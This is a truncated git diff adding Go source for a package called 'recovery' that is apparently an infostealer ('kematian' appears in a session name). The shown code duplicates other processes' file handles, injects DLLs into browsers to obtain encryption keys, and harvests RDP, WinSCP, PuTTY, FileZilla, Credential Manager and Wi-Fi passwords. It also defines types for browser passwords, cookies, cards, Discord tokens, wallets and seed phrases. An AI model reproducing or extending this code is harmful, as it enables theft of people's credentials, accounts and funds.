"errors" + "os/exec" + "strconv" + "strings" +) + +func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) { + return nil, errors.New("DLL injection not supported on this platform") +} + +func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) { + return nil, errors.New("pipe injection not supported on this platform") +} + +func FindProcesses(exeName string) ([]uint32, error) { + if exeName == "" { + return nil, nil + } + out, err := exec.Command("pgrep", "-x", exeName).Output() + if err != nil { + return nil, nil + } + var pids []uint32 + for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") { + line = strings.TrimSpace(line) + if pid, err := strconv.ParseUint(line, 10, 32); err == nil { + pids = append(pids, uint32(pid)) + } + } + return pids, nil +} + +func BrowserExeName(name string) string { + return "" +} + +func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) { + return nil, errors.New("not supported on this platform") +} diff --git a/native/recovery/platform/lockedfile_stub.go b/native/recovery/platform/lockedfile_stub.go new file mode 100644 index 0000000..85bd57f --- /dev/null +++ b/native/recovery/platform/lockedfile_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package platform + +import "os" + +func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) { + return os.ReadFile(srcPath) +} + +func ResetHandleCache() {} diff --git a/native/recovery/platform/lockedfile_windows.go b/native/recovery/platform/lockedfile_windows.go new file mode 100644 index 0000000..0b45bc6 --- /dev/null +++ b/native/recovery/platform/lockedfile_windows.go @@ -0,0 +1,330 @@ +//go:build windows + +package platform + +import ( + "fmt" + "os" + "strings" + "sync" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + SystemExtendedHandleInformation = 64 + fileTypeDisk2 = 0x0001 + pageReadonly2 = 0x02 + fileMapRead2 = 0x04 +) + +type systemHandleInfoEx struct { + NumberOfHandles uintptr + Reserved uintptr + Handles [1]systemHandleEntry +} + +type systemHandleEntry struct { + Object uintptr + UniqueProcessId uintptr + HandleValue uintptr + GrantedAccess uint32 + CreatorBackTrace uint16 + ObjectTypeIndex uint16 + HandleAttributes uint32 + Reserved uint32 +} + +type rmUniqueProcess2 struct { + ProcessId uint32 + ProcessStartTime syscall.Filetime +} + +type rmProcessInfo2 struct { + Process rmUniqueProcess2 + AppName [256]uint16 + ServiceShortName [64]uint16 + ApplicationType uint32 + AppStatus uint32 + TSSessionId uint32 + Restartable int32 +} + +var ( + modNtdll2 = windows.NewLazySystemDLL("ntdll.dll") + procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation") + modKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx") + procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW") + procMapViewOfFile = modKernel32.NewProc("MapViewOfFile") + procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile") + procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW") + procGetFileType = modKernel32.NewProc("GetFileType") + modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll") + procRmStartSession = modRstrtmgr.NewProc("RmStartSession") + procRmEndSession = modRstrtmgr.NewProc("RmEndSession") + procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources") + procRmGetList = modRstrtmgr.NewProc("RmGetList") +) + +var ( + handleCacheMu sync.Mutex + handleCacheVal []systemHandleEntry +) + +func cachedSystemHandles() ([]systemHandleEntry, error) { + handleCacheMu.Lock() + defer handleCacheMu.Unlock() + if handleCacheVal != nil { + return handleCacheVal, nil + } + h, err := querySystemHandles() + if err != nil { + return nil, err + } + handleCacheVal = h + return h, nil +} + +func ResetHandleCache() { + handleCacheMu.Lock() + handleCacheVal = nil + handleCacheMu.Unlock() +} + +func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) { + if data, err := os.ReadFile(srcPath); err == nil { + logf("read directly: %s", srcPath) + return data, nil + } + + if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 { + pids = mergePIDs(pids, lockPids) + } + + if len(pids) > 0 { + if data, err := readViaHandleDuplication(srcPath, pids); err == nil { + logf("read via handle dup: %s", srcPath) + return data, nil + } + } + + if ActivePipeSession != nil { + if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 { + logf("read via pipe: %s (%d bytes)", srcPath, len(data)) + return data, nil + } + } + + return nil, fmt.Errorf("all read methods failed for: %s", srcPath) +} + +func mergePIDs(a, b []uint32) []uint32 { + seen := make(map[uint32]struct{}, len(a)+len(b)) + for _, p := range a { + seen[p] = struct{}{} + } + result := append([]uint32(nil), a...) + for _, p := range b { + if _, ok := seen[p]; !ok { + result = append(result, p) + seen[p] = struct{}{} + } + } + return result +} + +func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) { + handles, err := cachedSystemHandles() + if err != nil { + return nil, err + } + + pidSet := make(map[uintptr]struct{}, len(pids)) + for _, p := range pids { + pidSet[uintptr(p)] = struct{}{} + } + + for _, h := range handles { + if _, ok := pidSet[h.UniqueProcessId]; !ok { + continue + } + + hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId)) + if err != nil { + continue + } + + var dupHandle windows.Handle + err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue), + windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS) + windows.CloseHandle(hProcess) + if err != nil { + continue + } + + ft, _, _ := procGetFileType.Call(uintptr(dupHandle)) + if ft != fileTypeDisk2 { + windows.CloseHandle(dupHandle) + continue + } + + handlePath := getHandlePath(uintptr(dupHandle)) + if handlePath == "" || !strings.EqualFold(handlePath, srcPath) { + windows.CloseHandle(dupHandle) + continue + } + + data, err := readFileByMapping(dupHandle) + windows.CloseHandle(dupHandle) + if err == nil { + return data, nil + } + } + + return nil, fmt.Errorf("handle duplication failed for %s", srcPath) +} + +func readFileByMapping(h windows.Handle) ([]byte, error) { + var fileSize int64 + ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize))) + if ok == 0 || fileSize <= 0 { + return nil, fmt.Errorf("empty or unreadable file") + } + + hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0) + if hMapping == 0 { + return nil, fmt.Errorf("CreateFileMappingW failed") + } + defer windows.CloseHandle(windows.Handle(hMapping)) + + baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize)) + if baseAddr == 0 { + return nil, fmt.Errorf("MapViewOfFile failed") + } + defer procUnmapViewOfFile.Call(baseAddr) + + data := make([]byte, fileSize) + copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize)) + return data, nil +} + +func querySystemHandles() ([]systemHandleEntry, error) { + bufSize := uint32(1 * 1024 * 1024) + for { + buf := make([]byte, bufSize) + var returnLength uint32 + status, _, _ := procNtQuerySystemInformation.Call( + SystemExtendedHandleInformation, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(bufSize), + uintptr(unsafe.Pointer(&returnLength)), + ) + if status&0xFFFFFFFF == 0xC0000004 { + bufSize = returnLength + 65536 + if bufSize > 256*1024*1024 { + return nil, fmt.Errorf("handle buffer too large") + } + continue + } + if status != 0 { + return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status) + } + + info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0])) + count := int(info.NumberOfHandles) + handles := make([]systemHandleEntry, count) + for i := 0; i < count; i++ { + entry := (*systemHandleEntry)(unsafe.Pointer( + uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]), + )) + handles[i] = *entry + } + return handles, nil + } +} + +func getHandlePath(handle uintptr) string { + buf := make([]uint16, 32768) + n, _, _ := procGetFinalPathNameByHandle.Call( + handle, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, + ) + if n == 0 || n >= uintptr(len(buf)) { + return "" + } + s := syscall.UTF16ToString(buf[:n]) + if strings.HasPrefix(s, `\\?\`) { + s = s[4:] + } + return s +} + +func getProcessesLockingFile(filePath string) []uint32 { + suffix := filePath + if len(suffix) > 8 { + suffix = suffix[len(suffix)-8:] + } + sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix) + if err != nil { + return nil + } + + var sessionHandle uint32 + ret, _, _ := procRmStartSession.Call( + uintptr(unsafe.Pointer(&sessionHandle)), 0, + uintptr(unsafe.Pointer(sessionKey)), + ) + if ret != 0 { + return nil + } + defer procRmEndSession.Call(uintptr(sessionHandle)) + + filePathW, err := syscall.UTF16PtrFromString(filePath) + if err != nil { + return nil + } + ret, _, _ = procRmRegisterResources.Call( + uintptr(sessionHandle), 1, + uintptr(unsafe.Pointer(&filePathW)), + 0, 0, 0, 0, + ) + if ret != 0 { + return nil + } + + var needed, count, rebootReason uint32 + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + 0, + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 234 || needed == 0 { + return nil + } + + infos := make([]rmProcessInfo2, needed) + count = needed + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&infos[0])), + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 0 { + return nil + } + + pids := make([]uint32, 0, count) + for i := uint32(0); i < count; i++ { + pids = append(pids, infos[i].Process.ProcessId) + } + return pids +} diff --git a/native/recovery/platform/log.go b/native/recovery/platform/log.go new file mode 100644 index 0000000..85fe259 --- /dev/null +++ b/native/recovery/platform/log.go @@ -0,0 +1,7 @@ +package platform + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[platform] "+format, args...) +} diff --git a/native/recovery/platform/pipe.go b/native/recovery/platform/pipe.go new file mode 100644 index 0000000..9aa6956 --- /dev/null +++ b/native/recovery/platform/pipe.go @@ -0,0 +1,293 @@ +//go:build windows + +package platform + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "sync" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +type PipeSession struct { + mu sync.Mutex + hPipe windows.Handle + hProcess windows.Handle + pid uint32 + ownsProcess bool + job windows.Handle + closed bool +} + +var ( + modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll") + modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll") + + procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW") + procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe") + procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe") + procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject") + procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe") +) + +func createPipeName() string { + b := make([]byte, 8) + rand.Read(b) + return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b)) +} + +func createPipeServer(pipeName string) (windows.Handle, error) { + namePtr, err := syscall.UTF16PtrFromString(pipeName) + if err != nil { + return 0, err + } + + const ( + PIPE_ACCESS_DUPLEX = 0x3 + PIPE_TYPE_BYTE = 0x0 + PIPE_READMODE_BYTE = 0x0 + PIPE_WAIT = 0x0 + PIPE_UNLIMITED_INSTANCES = 0xFF + ) + + r, _, err := procCreateNamedPipeW.Call( + uintptr(unsafe.Pointer(namePtr)), + PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED, + PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + 65536, // output buffer + 65536, // input buffer + 15000, // timeout ms + 0, + ) + if r == ^uintptr(0) { + return 0, fmt.Errorf("CreateNamedPipeW: %w", err) + } + return windows.Handle(r), nil +} + +func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error { + hEvent, err := windows.CreateEvent(nil, 1, 0, nil) + if err != nil { + return fmt.Errorf("CreateEvent: %w", err) + } + defer windows.CloseHandle(hEvent) + + ov := windows.Overlapped{HEvent: hEvent} + + r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov))) + if r != 0 { + return nil // already connected + } + + if err == windows.ERROR_PIPE_CONNECTED { + return nil + } + + if err != windows.ERROR_IO_PENDING { + return fmt.Errorf("ConnectNamedPipe: %w", err) + } + + ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs)) + if ret != uintptr(windows.WAIT_OBJECT_0) { + return fmt.Errorf("pipe connect timeout") + } + return nil +} + +func (s *PipeSession) pipeSend(data []byte) error { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return fmt.Errorf("pipe session closed") + } + + length := uint32(len(data)) + lengthBytes := []byte{ + byte(length), + byte(length >> 8), + byte(length >> 16), + byte(length >> 24), + } + + var written uint32 + err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil) + if err != nil || written != 4 { + return fmt.Errorf("write length: %w", err) + } + + if length > 0 { + var totalWritten uint32 + for totalWritten < length { + var n uint32 + err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil) + if err != nil || n == 0 { + return fmt.Errorf("write data: %w", err) + } + totalWritten += n + } + } + + return nil +} + +func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return 0, nil, fmt.Errorf("pipe session closed") + } + + var lengthBuf [4]byte + var totalRead uint32 + deadline := time.Now().Add(10 * time.Second) + + for totalRead < 4 { + if time.Now().After(deadline) { + return 0, nil, fmt.Errorf("pipe recv timeout") + } + + var avail uint32 + r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0) + if r == 0 { + return 0, nil, fmt.Errorf("PeekNamedPipe failed") + } + if avail < 4-totalRead { + time.Sleep(50 * time.Millisecond) + continue + } + + var n uint32 + err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil) + if err != nil || n == 0 { + return 0, nil, fmt.Errorf("read length: %w", err) + } + totalRead += n + } + + totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24 + if totalLen < 1 || totalLen > 100*1024*1024 { + return 0, nil, fmt.Errorf("invalid message length: %d", totalLen) + } + + buf := make([]byte, totalLen) + totalRead = 0 + for totalRead < totalLen { + var n uint32 + err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil) + if err != nil || n == 0 { + return 0, nil, fmt.Errorf("read data: %w", err) + } + totalRead += n + } + + status = buf[0] + data = buf[1:] + return status, data, nil +} + +func (s *PipeSession) Close() { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return + } + s.closed = true + + s.sendExitLocked() + + time.Sleep(100 * time.Millisecond) + + procDisconnectNamedPipe.Call(uintptr(s.hPipe)) + windows.CloseHandle(s.hPipe) + + if s.ownsProcess && s.hProcess != 0 { + if s.job != 0 { + windows.CloseHandle(s.job) + s.job = 0 + } + windows.TerminateProcess(s.hProcess, 0) + windows.WaitForSingleObject(s.hProcess, 3000) + windows.CloseHandle(s.hProcess) + } else if s.hProcess != 0 { + windows.CloseHandle(s.hProcess) + } +} + +func (s *PipeSession) watchExit(label string, timeoutMs uint32) { + h := s.hProcess + if h == 0 { + return + } + go func() { + ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs)) + if ret != uintptr(windows.WAIT_OBJECT_0) { + return + } + s.mu.Lock() + wasClosed := s.closed + s.mu.Unlock() + if wasClosed { + return + } + var code uint32 + if err := windows.GetExitCodeProcess(h, &code); err != nil { + return + } + logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code) + }() +} + +func (s *PipeSession) sendExitLocked() { + exitCmd := []byte("EXIT") + length := uint32(len(exitCmd)) + lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)} + windows.WriteFile(s.hPipe, lengthBytes, nil, nil) + windows.WriteFile(s.hPipe, exitCmd, nil, nil) +} + +func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) { + cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64) + if err := s.pipeSend([]byte(cmd)); err != nil { + return nil, fmt.Errorf("send KEY command: %w", err) + } + + status, data, err := s.pipeRecv() + if err != nil { + return nil, fmt.Errorf("recv KEY response: %w", err) + } + + if status != 0 { + return nil, fmt.Errorf("decrypt failed: %s", string(data)) + } + + return data, nil +} + +func (s *PipeSession) ReadFile(path string) ([]byte, error) { + cmd := fmt.Sprintf("READ:%s", path) + if err := s.pipeSend([]byte(cmd)); err != nil { + return nil, fmt.Errorf("send READ command: %w", err) + } + + status, data, err := s.pipeRecv() + if err != nil { + return nil, fmt.Errorf("recv READ response: %w", err) + } + + if status != 0 { + return nil, fmt.Errorf("read failed: %s", string(data)) + } + + return data, nil +} + +var ActivePipeSession *PipeSession diff --git a/native/recovery/platform/pipe_stub.go b/native/recovery/platform/pipe_stub.go new file mode 100644 index 0000000..35ec816 --- /dev/null +++ b/native/recovery/platform/pipe_stub.go @@ -0,0 +1,21 @@ +//go:build !windows + +package platform + +import ( + "errors" +) + +type PipeSession struct{} + +var ActivePipeSession *PipeSession + +func (s *PipeSession) Close() {} + +func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) { + return nil, errors.New("not supported") +} + +func (s *PipeSession) ReadFile(path string) ([]byte, error) { + return nil, errors.New("not supported") +} diff --git a/native/recovery/recovery.go b/native/recovery/recovery.go new file mode 100644 index 0000000..17afc52 --- /dev/null +++ b/native/recovery/recovery.go @@ -0,0 +1,58 @@ +package recovery + +import ( + "recovery/recovery/fingerprint" + "recovery/recovery/scanner" + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type CollectOptions = types.CollectOptions +type CollectionResult = types.CollectionResult +type BrowserConfig = types.BrowserConfig +type ProfileInfo = types.ProfileInfo +type ResolvedKeys = types.ResolvedKeys +type PasswordResult = types.PasswordResult +type CookieResult = types.CookieResult +type AutofillResult = types.AutofillResult +type HistoryResult = types.HistoryResult +type BookmarkResult = types.BookmarkResult +type CreditCardResult = types.CreditCardResult +type DiscordTokenResult = types.DiscordTokenResult +type FileResult = types.FileResult +type ExtensionResult = types.ExtensionResult +type WalletResult = types.WalletResult +type TelegramResult = types.TelegramResult +type KeyResult = types.KeyResult +type SeedResult = types.SeedResult +type AppCredentialResult = types.AppCredentialResult +type GamingResult = types.GamingResult +type SteamResult = types.SteamResult +type GameInfo = types.GameInfo +type BattleNetResult = types.BattleNetResult +type EpicResult = types.EpicResult +type RiotResult = types.RiotResult +type UplayResult = types.UplayResult +type VPNResult = types.VPNResult +type NordVPNResult = types.NordVPNResult +type WireGuardResult = types.WireGuardResult +type OpenVPNResult = types.OpenVPNResult +type MullvadResult = types.MullvadResult +type FingerprintResult = fingerprint.Result +type FingerprintJSResult = fingerprint.JSResult + +func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() } +func ScanFiles() []FileResult { return scanner.ScanFiles() } +func ScanWallets() []WalletResult { return scanner.ScanWallets() } +func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() } +func ScanKeys() []KeyResult { return scanner.ScanKeys() } +func ScanApps() []AppCredentialResult { return scanner.ScanApps() } +func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) } +func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) } +func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) } +func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() } +func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() } + +func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult { + return scanner.ScanSeeds(files, passwords, autofill) +} diff --git a/native/recovery/scanner/apps_stub.go b/native/recovery/scanner/apps_stub.go new file mode 100644 index 0000000..d390734 --- /dev/null +++ b/native/recovery/scanner/apps_stub.go @@ -0,0 +1,137 @@ +//go:build !windows + +package scanner + +import ( + "encoding/xml" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +func ScanApps() []types.AppCredentialResult { + var results []types.AppCredentialResult + results = append(results, scanFileZillaUnix()...) + if runtime.GOOS == "darwin" { + results = append(results, scanWiFiDarwin()...) + } + return results +} + +type fzServerUnix struct { + XMLName xml.Name `xml:"Server"` + Host string `xml:"Host"` + Port int `xml:"Port"` + Protocol int `xml:"Protocol"` + User string `xml:"User"` + Pass string `xml:"Pass"` +} + +type fzSiteManagerUnix struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServerUnix `xml:"Servers>Server"` +} + +type fzRecentServersUnix struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServerUnix `xml:"RecentServers>Server"` +} + +func scanFileZillaUnix() []types.AppCredentialResult { + var results []types.AppCredentialResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + fzDir := filepath.Join(home, ".config", "filezilla") + if runtime.GOOS == "darwin" { + fzDir = filepath.Join(home, ".config", "filezilla") + } + + for _, file := range []string{"sitemanager.xml", "recentservers.xml"} { + path := filepath.Join(fzDir, file) + data, err := os.ReadFile(path) + if err != nil { + continue + } + + var servers []fzServerUnix + if file == "sitemanager.xml" { + var sm fzSiteManagerUnix + if xml.Unmarshal(data, &sm) == nil { + servers = sm.Servers + } + } else { + var rs fzRecentServersUnix + if xml.Unmarshal(data, &rs) == nil { + servers = rs.Servers + } + } + + for _, s := range servers { + if s.Host == "" { + continue + } + port := s.Port + if port == 0 { + port = 21 + } + protocol := "ftp" + switch s.Protocol { + case 1: + protocol = "sftp" + case 3, 4: + protocol = "ftps" + } + results = append(results, types.AppCredentialResult{ + Application: "FileZilla", + Host: s.Host, + Port: port, + Username: s.User, + Password: s.Pass, + Protocol: protocol, + }) + } + } + + return results +} + +func scanWiFiDarwin() []types.AppCredentialResult { + var results []types.AppCredentialResult + + out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output() + if err != nil { + return nil + } + + var networks []string + for _, line := range strings.Split(string(out), "\n") { + name := strings.TrimSpace(line) + if name == "" || strings.HasPrefix(name, "Preferred networks") { + continue + } + networks = append(networks, name) + } + + for _, name := range networks { + pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output() + password := "" + if err == nil { + password = strings.TrimSpace(string(pw)) + } + results = append(results, types.AppCredentialResult{ + Application: "WiFi", + Host: name, + Password: password, + Protocol: "wifi", + }) + } + + return results +} diff --git a/native/recovery/scanner/apps_windows.go b/native/recovery/scanner/apps_windows.go new file mode 100644 index 0000000..a88378b --- /dev/null +++ b/native/recovery/scanner/apps_windows.go @@ -0,0 +1,614 @@ +//go:build windows + +package scanner + +import ( + "encoding/xml" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "recovery/recovery/types" +) + +var ( + advapi32 = syscall.NewLazyDLL("advapi32.dll") + procCredEnumerateW = advapi32.NewProc("CredEnumerateW") + procCredFree = advapi32.NewProc("CredFree") +) + +const ( + credTypeGeneric = 1 + credTypeDomainPassword = 2 + credTypeDomainCertificate = 3 +) + +type winCredential struct { + Flags uint32 + Type uint32 + TargetName *uint16 + Comment *uint16 + LastWritten syscall.Filetime + CredentialBlobSize uint32 + CredentialBlob *byte + Persist uint32 + AttributeCount uint32 + Attributes uintptr + TargetAlias *uint16 + UserName *uint16 +} + +func ScanApps() []types.AppCredentialResult { + var results []types.AppCredentialResult + results = append(results, scanRDP()...) + results = append(results, scanWinSCP()...) + results = append(results, scanPuTTY()...) + results = append(results, scanFileZilla()...) + results = append(results, scanCredentialManager()...) + results = append(results, scanWiFi()...) + return results +} + +// ── RDP ──────────────────────────────────────────────────────────────── + +func scanRDP() []types.AppCredentialResult { + var results []types.AppCredentialResult + + // Registry: saved connection history with usernames + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err == nil { + defer k.Close() + servers, _ := k.ReadSubKeyNames(-1) + for _, server := range servers { + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ) + if err != nil { + continue + } + username, _, _ := sk.GetStringValue("UsernameHint") + sk.Close() + + r := types.AppCredentialResult{ + Application: "RDP", + Host: server, + Port: 3389, + Username: username, + Protocol: "rdp", + } + + // Try to get the password from Credential Manager + pw := credManagerLookup("TERMSRV/" + server) + if pw != "" { + r.Password = pw + } + results = append(results, r) + } + } + + // Also scan Credential Manager for TERMSRV/* entries not in the registry + creds := enumCredentials() + seen := make(map[string]bool) + for _, r := range results { + seen[strings.ToLower(r.Host)] = true + } + for _, c := range creds { + target := strings.ToLower(c.target) + if !strings.HasPrefix(target, "termsrv/") { + continue + } + host := c.target[len("TERMSRV/"):] + if seen[strings.ToLower(host)] { + continue + } + results = append(results, types.AppCredentialResult{ + Application: "RDP", + Host: host, + Port: 3389, + Username: c.username, + Password: c.password, + Protocol: "rdp", + }) + } + + // Scan for .rdp files + results = append(results, scanRDPFiles()...) + + return results +} + +func scanRDPFiles() []types.AppCredentialResult { + var results []types.AppCredentialResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + dirs := []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + + for _, dir := range dirs { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") { + continue + } + path := filepath.Join(dir, e.Name()) + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + continue + } + r := parseRDPFile(string(data)) + if r.Host != "" { + r.Extra = path + results = append(results, r) + } + } + } + + return results +} + +func parseRDPFile(content string) types.AppCredentialResult { + r := types.AppCredentialResult{ + Application: "RDP", + Protocol: "rdp", + Port: 3389, + } + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + parts := strings.SplitN(line, ":", 3) + if len(parts) < 3 { + continue + } + key := strings.ToLower(strings.TrimSpace(parts[0])) + val := strings.TrimSpace(parts[2]) + switch key { + case "full address": + if idx := strings.LastIndex(val, ":"); idx > 0 { + if p, err := strconv.Atoi(val[idx+1:]); err == nil { + r.Host = val[:idx] + r.Port = p + continue + } + } + r.Host = val + case "username": + r.Username = val + case "server port": + if p, err := strconv.Atoi(val); err == nil { + r.Port = p + } + } + } + return r +} + +// ── WinSCP ───────────────────────────────────────────────────────────── + +func scanWinSCP() []types.AppCredentialResult { + var results []types.AppCredentialResult + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err != nil { + return nil + } + defer k.Close() + + sessions, _ := k.ReadSubKeyNames(-1) + for _, sess := range sessions { + if sess == "Default%20Settings" { + continue + } + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ) + if err != nil { + continue + } + + hostname, _, _ := sk.GetStringValue("HostName") + username, _, _ := sk.GetStringValue("UserName") + portNum, _, _ := sk.GetIntegerValue("PortNumber") + encPassword, _, _ := sk.GetStringValue("Password") + fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol") + sk.Close() + + if hostname == "" { + continue + } + + port := int(portNum) + if port == 0 { + port = 22 + } + + protocol := "sftp" + switch fsProtocol { + case 0: + protocol = "sftp" + case 5: + protocol = "ftp" + case 1: + protocol = "scp" + } + + password := "" + if encPassword != "" { + password = decryptWinSCPPassword(encPassword, hostname, username) + } + + results = append(results, types.AppCredentialResult{ + Application: "WinSCP", + Host: hostname, + Port: port, + Username: username, + Password: password, + Protocol: protocol, + }) + } + + return results +} + +func decryptWinSCPPassword(hex, hostname, username string) string { + key := username + hostname + + decNextChar := func(s string, idx int) (byte, int) { + if idx+2 > len(s) { + return 0, idx + 2 + } + a, err1 := strconv.ParseUint(string(s[idx]), 16, 8) + b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8) + if err1 != nil || err2 != nil { + return 0, idx + 2 + } + return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2 + } + + idx := 0 + flag, idx := decNextChar(hex, idx) + + if flag == 0xFF { + return "" + } + + _, idx = decNextChar(hex, idx) // skip unused byte + + length, idx := decNextChar(hex, idx) + + delLen, idx := decNextChar(hex, idx) + for i := 0; i < int(delLen); i++ { + _, idx = decNextChar(hex, idx) + } + + raw := make([]byte, 0, int(length)) + for i := 0; i < int(length); i++ { + c, newIdx := decNextChar(hex, idx) + idx = newIdx + raw = append(raw, c) + } + + if len(key) > 0 { + decrypted := make([]byte, len(raw)) + for i, c := range raw { + decrypted[i] = c ^ key[i%len(key)] + } + return string(decrypted) + } + + return string(raw) +} + +// ── PuTTY ────────────────────────────────────────────────────────────── + +func scanPuTTY() []types.AppCredentialResult { + var results []types.AppCredentialResult + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err != nil { + return nil + } + defer k.Close() + + sessions, _ := k.ReadSubKeyNames(-1) + for _, sess := range sessions { + if sess == "Default%20Settings" { + continue + } + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ) + if 